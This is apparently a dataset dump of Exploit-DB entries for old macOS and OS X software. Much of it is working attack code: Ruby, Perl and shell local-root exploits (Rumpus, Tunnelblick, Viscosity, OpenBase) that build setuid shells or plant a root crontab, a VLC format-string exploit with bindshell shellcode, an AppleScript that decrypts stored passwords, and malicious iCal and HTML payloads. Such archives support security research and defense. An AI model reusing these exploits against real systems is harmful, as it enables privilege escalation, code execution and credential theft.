deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19438
Description: Ogopogo Autothenticate 1.1.5 - Weak Password Encryption
Type: local
Platform: osx
Date: 1999-07-29
Author: Prozaq of mSec

Exploit:
source: https://www.securityfocus.com/bid/552/info

Autothenticate is an extension for MacOS that remembers usernames and passwords from visited websites, and atomatically enters them when the site is visited again. It can be configured to store the username and password, the username only, or nothing. It stores this information in encrypted form in a preference file called "AutothenticatePreferences" located in the Preferences folder in the System Folder. The encryption mechanism used is weak and can be broken. 

This program, written by mSec, decrypts the Autothenticate information. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19438.sit
Exploit-DB #19439
Description: Power On Software On Guard for MacOS 3.2 - Emergency Password
Type: local
Platform: osx
Date: 1999-07-29
Author: Prozaq of mSec

Exploit:
source: https://www.securityfocus.com/bid/553/info

On Guard, a security program for MacOS, includes an emergency password feature in the event that the administrative password is lost or forgotten. If the user name 'emergency' is entered, On Guard will generate an Emergency Code. The user must then call Power On Software, and after registration validation is done, provide the Emergency Code. Power On Software will then provide an emergency password. However, the method used to generate this emergency password has been reverse engineered, and an exploit is publicly available that will automatically generate the emergency password with no phone call. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19439.sit
Exploit-DB #19434
Description: Quinn - 'the Eskimo' and Peter N. Lewis Internet Configuration 1.0/2.0 Weak Password Encryption
Type: local
Platform: osx
Date: 1999-07-28
Author: Dawid adix Adamski

Exploit:
source: https://www.securityfocus.com/bid/546/info

Internet Config is a third-party freeware utility for MacOS. It provides a means of centralizing frequently-required connection information, including passwords, for use by several programs. The passwords are stored in encrypted form in the Internet Preferences file in the Preferences folder. The encryption algorithm used is weak and easily broken.

Find an encrypted password in the Internet Preferences file in the Preferences folder using a resource editor like ResEdit. Discard the first byte as it is merely the length of the password.
AppleScript exploit by Dawid adix Adamski:

(* IC Pass 2.1 by adix 21.07.99; Apple Script English *)
set hex1 to text returned of (display dialog "Enter encrypted password:" default answer ""
buttons {" Ok "} default button " Ok ")
set Alicia to "[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]011111"
set pass to ""
set i to 1
set skok to 0
set ile to count items in hex1
if ile = 1 or ile = 0 then
set pass to ""
else
repeat until (i > (ile - 1))
set kodascii to 0
set zn to items (i) thru (i + 1) in hex1
set lbin to hex2bin(zn) as string
repeat with a from 1 to 8
set bit2 to item (a + skok) of Alicia
set bit1 to item a of lbin
if (bit1 = bit2) then
set bitk to "0"
else
set bitk to "1"
end if
set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
end repeat
set pass to {pass & (ASCII character kodascii)}
set skok to skok + 8
set i to i + 2
end repeat
end if
display dialog "Password: " & pass & return & return & "by adix" buttons {" Ok "} default button " Ok "
on hex2bin(zn)
set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110", "0111", "1000", "1001", "1010", "1011", "1100", "1101", "1110", "1111"}
set t2hex to "[PII_REDACTED]ABCDEF"
set bin to "" as string
repeat with j in zn
set t1 to j as string
repeat with i from 1 to (count items in t2hex)
if ((item i in t2hex) = t1) then
set temp to (item i in temphex)
exit repeat
end if
end repeat
set bin to {bin & temp} as string
end repeat
return (bin)
end hex2bin
Exploit-DB #3156
Description: Rumpus 5.1 - Local Privilege Escalation / Remote FTP LIST
Type: local
Platform: osx
Date: 2007-01-19
Author: MoAB

Exploit:
#!/usr/bin/ruby
# Copyright (c) Lance M. Havok  <lmh [at] info-pull.com>
#               Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Proof of concept for issues described in MOAB-18-01-2007.

require 'net/ftp'
require 'socket'

bugselected = (ARGV[0] || 0).to_i
target_host = (ARGV[1] || "localhost")
target_user = (ARGV[2] || "anonymous")
target_pass = (ARGV[3] || "rumproast")

def list_bug(o)
  payload =   "A" * 251
  payload <<  [0x41424344].pack("V")
  payload <<  [0x61626364].pack("V")
  payload <<  [0x30313233].pack("V")
  payload <<  [0xdeadface].pack("V")
  o.list(payload)
end

def local_priv_escalation()
  wrapper   = 'int main() { setuid(0); setgid(0); system("/bin/sh -i"); return 0; }'
  fake_ipfw = 'int main() { system("/usr/sbin/chown root: /tmp/shX; /bin/chmod 4755 /tmp/shX"); return 0; }'
  command_line =  "echo '#{wrapper}' > /tmp/test.c && cc -o /tmp/shX /tmp/test.c && "    +
                  "echo '#{fake_ipfw}' > /tmp/ipfw.c && cc -o /tmp/ipfw /tmp/ipfw.c && " +
                  'export PATH="/tmp/:$PATH" && /usr/local/Rumpus/rumpusd'
  system command_line
  sleep 1
  puts "++ Enjoy root shell..."
  system "/tmp/shX"
end

case bugselected
  when 0
    puts "++ FTP LIST heap buffer overflow..."
    Net::FTP.open(target_host) do |ftp|
      ftp.login("#{target_user}","#{target_pass}")
      list_bug(ftp)
    end
  when 1
    puts "++ Local privilege escalation..."
    local_priv_escalation()
end

# milw0rm.com [2007-01-19]
Exploit-DB #20443
Description: Tunnelblick - Local Privilege Escalation (2)
Type: local
Platform: osx
Date: 2012-08-11
Author: zx2c4

Exploit:
#!/bin/sh

#### Pwnnel Blicker ####
#       for kids       #
#                      #
#         zx2c4        #
#                      #
########################

# This is another exploit for Tunnel Blick.
# Other exploits for Tunnel Blick are available here:
#      http://git.zx2c4.com/Pwnnel-Blicker/tree/



echo "[+] Making vulnerable directory."
mkdir -pv /tmp/pwn/openvpn/openvpn-0

echo "[+] Preparing payload."
cat > /tmp/pwn/openvpn/openvpn-0/openvpn <<_EOF
#!/bin/sh
echo "[+] Cleaning up."
rm -rfv /tmp/pwn
echo "[+] Getting root."
exec bash
_EOF
chmod -v +x /tmp/pwn/openvpn/openvpn-0/openvpn

echo "[+] Creating symlink."
ln -s -v -f /Applications/Tunnelblick.app/Contents/Resources/openvpnstart /tmp/pwn/start

echo "[+] Triggering vulnerable program."
exec /tmp/pwn/start OpenVPNInfo 0
Exploit-DB #3070
Description: VideoLAN VLC Media Player 0.8.6 (x86) - 'udp://' Format String
Type: local
Platform: osx
Date: 2007-01-02
Author: MoAB

Exploit:
#!/usr/bin/perl
#
# http://www.digitalmunition.com/VLCMediaSlayer-x86.pl
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code.
#

$outfile = "pwnage.m3u";

$bindshell =
"\x6a\x42\x58\xcd\x80\x6a\x61\x58\x99\x52\x68\x10\x02\x11\x5c\x89" .
"\xe1\x52\x42\x52\x42\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a" .
"\x68\x58\xcd\x80\xb0\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97" .
"\x6a\x02\x59\x6a\x5a\x58\x51\x57\x51\xcd\x80\x49\x0f\x89\xf1\xff" .
"\xff\xff\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" .
"\x54\x54\x53\x53\xb0\x3b\xcd\x80";

# MALLOC                 [PII_REDACTED] [ 8224K] rw-/rwx SM=COW  ...e_0x1300000
# Pattern found @ 0x298589e
# Pattern found @ 0x298ba92

$jmpaddr = 0x41424344;

$lo = ($jmpaddr >> 0) & 0xffff;
$hi = ($jmpaddr >> 16) & 0xffff;

printf "jump address is: 0x%x%x\n", $hi, $lo;

$format = "%25" . ($lo-0x24) . "d" . "%25" . "23" . "%24" . "hn" . "%25" . ($hi-$lo) . "d" . "%25" . "24" . "%24" . "hn" ;

$writeaddr = 0xa0011393 ; # <dyld_stub___vfprintf>

printf "writing to file: %s\n", $outfile;
open(PWNED,">$outfile");

print PWNED "#EXTM3U\n" . "#EXTINF:0,1-07 " . "\x90" x 50 . $bindshell . "\n" .
"udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) .
$format . "i" x (999 - length("Can't get file status for ") ) . "\n";

close(PWNED);

# milw0rm.com [2007-01-02]
Exploit-DB #20485
Description: Viscosity - Local Privilege Escalation
Type: local
Platform: osx
Date: 2012-08-13
Author: zx2c4

Exploit:
#!/bin/sh
#
##########################
#       Viscatory        #
#                        #
#         zx2c4          #
##########################
#
# After the hullabaloo from the Tunnelblick local root, savy Mac users
# began defending Viscosity, another OS X VPN client. They figured, since
# they spent money on Viscosity, surely it would be better designed than
# the free open-source alternative.
#
# Unfortunately, this exploit took all of 2 minutes to find. DTrace for
# the win. Here, the SUID helper will execute site.py in its enclosing
# folder. A simple symlink, and we have root.
# 
# greets to jono
#
# Source: http://git.zx2c4.com/Viscatory/tree/viscatory.sh

echo "[+] Crafting payload."
mkdir -p -v /tmp/pwn
cat > /tmp/pwn/site.py <<_EOF
import os
print "[+] Cleaning up."
os.system("rm -rvf /tmp/pwn")
print "[+] Getting root."
os.setuid(0)
os.setgid(0)
os.execl("/bin/bash", "bash")
_EOF
echo "[+] Making symlink."
ln -s -f -v /Applications/Viscosity.app/Contents/Resources/ViscosityHelper /tmp/pwn/root
echo "[+] Running vulnerable SUID helper."
exec /tmp/pwn/root
Exploit-DB #2737
Description: Xcode OpenBase 10.0.0 (OSX) - Symlink Privilege Escalation
Type: local
Platform: osx
Date: 2006-11-08
Author: Kevin Finisterre

Exploit:
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# Create a new file anywhere on the filesystem with rw-rw-rw privs.
# Sorry you can NOT overwrite existing files.
#
# Writing to roots crontab seems to be fairly prompt at handing out root shells
# Make sure that you get cron running by first creating a user crontab!
#
# The openexec binary creates a root owned log file in /tmp/
# Following symlinks is bad mmmmmmmmmmkay!
#
# Tested against  OpenBase10.0.0_MacOSX.dmg

$dest = "/var/cron/tabs/root";

$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.

# In this instance targets are really pointless but I wanted to archive known vulnerable versions while testing.
$tgts{"0"} = "OpenBase10.0.0_MacOSX.dmg:$binpath";

unless (($target) = @ARGV) {
       print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{"$key"});
               print "\t$key . $a\n";
       }

       print "\n";
       exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";
system("gcc -o /Users/Shared/shX /tmp/finisterre.c");

# Create a user crontab FIRST! This ensures that cron is running when the fake root crontab is created. Aka semi-insta-root (in a minute)
system("echo '* * * * * /usr/bin/id > /tmp/aa' > /tmp/user_cron");
system("crontab /tmp/user_cron");

# The umask is where the lovin occurs. I'm rw-rw-rw James bitch!!
system("ln -s $dest /tmp/output");
sleep 60;   # Probably don't need to wait this long but whatever...

system("umask 111; $b -deactivate");
print "$dest should be rw-rw-rw ... enjoy!\n";
print "installing trojan crontab for root\n";

system("echo '* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 4755 /Users/Shared/shX' > /var/cron/tabs/root");

print "sit around and chill for a minute then check /Users/Shared/shX !\n";
sleep 60 ;

system("/Users/Shared/shX");

# milw0rm.com [2006-11-08]
Exploit-DB #2738
Description: Xcode OpenBase 10.0.0 (OSX) - Unsafe System Call Privilege Escalation
Type: local
Platform: osx
Date: 2006-11-08
Author: Kevin Finisterre

Exploit:
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# This is some fairly blatant and retarded use of system()
#
# cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm can you cay system() !
# -restart -MachLaunch -launch -noexit -install_plugins -kill -install -uninstall and -deactivate all
# *may* be used to trigger these issues.
#
# I don't feel like seeing which flags call which binaries... just 3 is plenty to prove the point.
#
# Tested against OpenBase10.0.0_MacOSX.dmg

$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.

$tgts{"0"} = "cp:$binpath -install";
$tgts{"1"} = "killall:$binpath -kill";
$tgts{"2"} = "rm:$binpath -uninstall";

unless (($target) = @ARGV) {
       print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{"$key"});
               print "\t$key . $a - $b\n";
       }

       print "\n";
       exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a - $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"chown root: /tmp/pwns ; chmod 4775 /tmp/pwns\"); }\n";

open(OP,">/tmp/pwns.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";

system("gcc -o /tmp/finisterre /tmp/finisterre.c");
system("gcc -o /tmp/pwns /tmp/pwns.c");

system("echo /bin/cp /tmp/finisterre /tmp/$a");
system("/bin/cp /tmp/finisterre /tmp/$a");

system("export PATH=/tmp:\$PATH; $b");
system("/tmp/pwns");

# milw0rm.com [2006-11-08]
Exploit-DB #2565
Description: Xcode OpenBase 9.1.5 (OSX) - Local Privilege Escalation
Type: local
Platform: osx
Date: 2006-10-15
Author: Kevin Finisterre

Exploit:
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# http://docs.info.apple.com/article.html?artnum=61798 (This won't help)
# ftp://www.openbase.com/pub/OpenBase_10.0 (This will)
#
# This is an exploit for a 3rd party program that has been bundled with Xcode on several occasions. 
# The OpenBase binary calls gnutar while running with euid=0 by passing TAR_OPTIONS we can cause gzip to be 
# invoked. Since no path is specified we can export PATH=/path/to/trojan:$PATH in order to take root.

$binpath = "/Library/OpenBase/bin/OpenBase"; # Typical location. 

# In this instance targets are really pointless but I wanted to archive known vulnerable versions while testing. 
$tgts{"0"} = "xcode_2-1.2_8m654_018213974.dmg:$binpath ";
$tgts{"1"} = "OpenBase9.1.5_MacOSX.dmg:$binpath ";
$tgts{"2"} = "OpenBase8.0.4_MacOSX.dmg:$binpath ";
$tgts{"3"} = "OpenBase7.0.15_MacOSX.dmg:$binpath ";

unless (($target) = @ARGV) {
        print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key . $a\n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

open(OP,">/tmp/proactive.c");
printf OP "main()\n"; 
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";
system("gcc -o /tmp/shX /tmp/proactive.c"); 

open(OP,">/tmp/or_really_reactive.c");
printf OP "main()\n"; 
printf OP "{ system(\"chown root: /tmp/shX; chmod 4755 /tmp/shX; rm -rf /tmp/or_really_reactive.c /tmp/proactive.c /tmp/pwndertino.* /tmp/gzip\"); }\n";
system("gcc -o /tmp/gzip /tmp/or_really_reactive.c"); 

system("mkdir /tmp/pwndertino.db");
system("echo \"Way to proactively audit 3rd party binaries before cramming them into a release \"> /tmp/pwndertino.db/port");
system("echo \"I wonder how long these vulnerable suids have been bundled with xcode \"> /tmp/pwndertino.db/encoding");
system("echo \"All your Mac are belong to us \"> /tmp/pwndertino.db/threads");
system("echo \"Welcome to pwndertino \"> /tmp/pwndertino.db/notification");
system("echo \"For the protection of our customers, Apple does not disclose, discuss, or confirm security issues until a full investigation has occurred and any necessary patches or releases are available \"> /tmp/pwndertino.db/simulationMode");
system("echo \"To learn more about Apple Product Security, see the Apple Computer Product Security Incident Response website\" > /tmp/pwndertino.db/safe_sql_mode");

system("export TAR_OPTIONS=\"-zv /etc/master.passwd\"; export PATH=/tmp:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin;$b ../../../../../../tmp/pwndertino");

system("/tmp/shX");

# milw0rm.com [2006-10-15]
Exploit-DB #20911
Description: Apache 1.3.14 - Mac File Protection Bypass
Type: remote
Platform: osx
Date: 2001-06-10
Author: Stefan Arentz

Exploit:
source: https://www.securityfocus.com/bid/2852/info

A vulnerability exists when Apache webserver is used with Mac OS X Client.

The standard filesystem for Mac OS X is HFS+. HFS+ is case insensitive while Apache's filtering is case sensitive. The result is that Apache will filter all file requests that match filters exactly (including case), but it will not filter requests made with mixed or upper case characters. Since HFS+ is case insensitive, these requests will result in the "filtered" files being disclosed.

The impact is that arbitrary privileged files may be disclosed to unprivileged remote users. 

The following request will result in a 403 Forbidden as excpected:

GET /test/index.html

But the following request will happily serve the file:

GET /TeSt/index.html
Exploit-DB #31613
Description: Apple iCal 3.0.1 - 'COUNT' Integer Overflow
Type: remote
Platform: osx
Date: 2008-04-21
Author: Core Security Technologies

Exploit:
source: https://www.securityfocus.com/bid/28629/info

Apple iCal is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected. 

BEGIN:VCALENDAR
X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME: Vulnerable
VERSION:2.0
X-WR-RELCALID:10DE4203-4FA5-4E23-AE4D-9DAE3157C9E5
METHOD:PUBLISH
BEGIN:VTIMEZONE
TZID:America/Buenos_Aires
BEGIN:DAYLIGHT
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:19991003T000000
RDATE:19991003T000000
TZNAME:ARST
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:-0300
TZOFFSETTO:-0300
DTSTART:20000303T000000
RDATE:20000303T000000
RDATE:20001231T210000
TZNAME:ART
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:4
DTSTART;TZID=America/Buenos_Aires:20071225T110000
DURATION:PT1H
UID:48878014-5F03-43E5-8639-61E708714F9A
DTSTAMP:20071213T130632Z
SUMMARY:Vuln
CREATED:20071213T130611Z
RRULE:FREQ=DAILY;INTERVAL=1;COUNT=[PII_REDACTED]
END:VEVENT
END:VCALENDAR
Exploit-DB #21238
Description: Apple Mac OS Internet Explorer 3/4/5 - File Execution
Type: remote
Platform: osx
Date: 2002-01-22
Author: Jass Seljamaa

Exploit:
source: https://www.securityfocus.com/bid/3935/info

A vulnerability has been discovered in MacOS systems running Internet Explorer 5.1 and earlier. MacOS X is not affected by this issue.

File URLs may be used by a malicious webmaster to execute programs on a web user's local system. The exact path to the location of the file must be known. This includes being able to anticipate the name of a particular user's hard drive.

This issue may be exploited to execute "Speakable Items" in MacOS 8 and 9.

This issue may also be exploitable through maliciously crafted HTML-enabled e-mail. 

<META HTTP-EQUIV="refresh" CONTENT="1; URL=file:///Macintosh%20HD/System%20Folder/Speakable%20Items/Put%20Computer%20To%20Sleep">
Exploit-DB #8753
Description: Apple Mac OSX - Java applet Remote Deserialization Remote (2)
Type: remote
Platform: osx
Date: 2009-05-20
Author: Landon Fuller

Exploit:
Critical Mac OS X Java Vulnerabilities
Introduction

Five months ago, CVE-2008-5353 and other vulnerabilities were publicly
disclosed, and fixed by Sun.

CVE-2008-5353 allows malicious code to escape the Java sandbox and run
arbitrary commands with the permissions of the executing user. This may
result in untrusted Java applets executing arbitrary code  merely by
visiting a web page hosting the applet. The issue is trivially
exploitable.

Unfortunately, these vulnerabilities remain in Apple's shipping JVMs, as
well as Soylatte 1.0.3. As Soylatte does not provide browser plugins,
the impact of the vulnerability is reduced. The recent release of
OpenJDK6/Mac OS X is not affected by CVE-2008-5353.

Work-Arounds

    * Mac OS X users should disable Java applets in their browsers and
      disable 'Open "safe" files after downloading' in Safari.
    * Soylatte users running untrusted code should upgrade to an
      OpenJDK6-based release, where possible. No future releases of the
      JRL-based Soylatte branch are planned at this time. If this is an
      issue for you, please feel free to contact me.
    * No work-around is available for users otherwise running Java
      untrusted code.

Proof of Concept

Unfortunately, it seems that many Mac OS X security issues are ignored
if the severity of the issue is not adequately demonstrated. Due to the
fact that an exploit for this issue is available in the wild, and the
vulnerability has been public knowledge for six months, I have decided
to release a my own proof of concept to demonstrate the issue.

If you visit the following page, "/usr/bin/say" will be executed on your
system by a Java applet, with your current user permissions. This link
will execute code on your system with your current user permissions. The
proof of concept runs on fully-patched PowerPC and Intel Mac OS X
systems.

http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/hello.html

compiled/decompiled: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8753.tgz (2009-javax.tgz)

# milw0rm.com [2009-05-20]